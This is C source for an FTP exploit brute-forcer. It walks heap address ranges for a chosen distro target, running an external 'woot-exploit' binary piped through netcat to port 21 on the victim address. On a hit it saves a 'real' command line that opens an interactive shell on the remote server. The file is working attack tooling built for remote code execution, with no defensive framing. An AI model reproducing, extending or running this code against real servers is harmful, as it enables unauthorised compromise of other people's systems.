#define MAXTARGETS 10000
char *targets[4*MAXTARGETS]={
#include "distro.h"
0,0,0,0,
};
char ok;

// thanks to lockdown for heping test this brute forcer


#define WOT "exploit-details"
#define ADDR argv[2]
#ifndef PORT
#define PORT "21"
#endif
#define NCPATH "/usr/bin"
#define STARTOFF 2048

char buf[10000];

works(int n)
{
 int z0=0,v0;
 v0=n;
 if(strlen(&v0)!=4)return 0;
 if(strchr(&v0,'\n'))return 0;
 if(strchr(&v0,'@'))return 0;
 return 1;
}

int st=STARTOFF;
int en=0 + (256 * 1024); // shouldn't need to look this far...

main(int argc,char *argv[])
{
 int l,m,n=0,o;
 int got,inp,prp,are;
 if(access(NCPATH"/nc",1))
 {
  printf("!! Can't find netcat.\n");
  printf("!! ("NCPATH"/nc can't be executed. If it is somewhere else change\n");
  printf("!! the #define NCPATH "NCPATH" to the actual path to it.\n");
  exit(1);
 }

 if(argc==2)
 {
  if(!strcmp(argv[1],"magic"))
  if(!access(WOT,0))
  {
   printf("\n");
   system("grep woot-exploit "WOT" && sh -c \"`grep woot-exploit "WOT"`\"");
   exit(0);
  }
  else
  {
   printf("There is no magic file. Need to run without magic option 1st.\n");
   exit(1);
  }
 }

 if(argc<3)
 {
  printf("./forcer magic\n");
  printf("./forcer <type> <addr>\n");
  l=0;m=1;
  while(targets[l])
  {
   printf("%d) %s\n",m,targets[l]);
   m++;
   l+=4;
  }
  exit(1);
 }

 if(m=strtol(argv[1],0,0))
 {
  if((m<0)||(m>MAXTARGETS)||(!targets[m]))
  {
   printf("Bad boy. Stupid too.\n");
   exit(1);
  }
  printf("++ Option #%d chosen.\n",m);
 }
 else
 {
  printf("Bad number.\n");
  exit(1);
 }
 m=(m-1)*4;

 printf("++ Exploiting %s\n",targets[m]);
 st+=(int)targets[m+2]+0x6400; // diff between inp and sbreak (roughly)
 en+=(int)targets[m+2]+0x6400; //

 got=(int)targets[m+1];
 inp=(int)targets[m+2];
 ok=!(int)targets[m+3];
 printf("## Blasting over the range %p to %p for the chunk.\n",st,en);


 unlink(WOT);
 if(sscanf(ADDR,"%u.%u.%u.%u",&o,&o,&o,&o)==4)n=1;
 prp=st+45000;
are=0x8098930;

for(l=prp;l<are;l+=360)
 {
  for(m=0;(m!=16)&&(m<32);m+=4)
  {
   if(works(m+l+st))
   {
    if(argc==4) printf("%p (%05d) ",(l+m),(l+m)-st);
    fflush(0);
    sprintf(buf,
    "((./woot-exploit %p %p %p scan)|nc %s %s "PORT")"
    "|grep '^Destination' && (echo '"
    "++ Command line magic will use:\n"
    "(./woot-exploit %p %p %p real;cat)|nc %s %s "PORT"'\n"
    ") > "WOT""
    ,got,inp,(l+m),n?"-n":"" ,ADDR
    ,got,inp,(l+m),n?"-n":"" ,ADDR
    );
    system(buf);
   }
   if(!access(WOT,0))
   {
    printf("\n");
    system("cat "WOT);
    printf("++ or\n%s magic\n++ Before you find another one.\n",argv[0]);
    exit(0);
   }
   if(!ok)usleep(1500000);
   else usleep(15000); // needed so u can actually stop it.. hold down ^C
  }
  if(argc==4)printf("\n");else printf("... ");
 }
 printf("Some value somewhere is bad. Could be in a skipped range.\n");
}

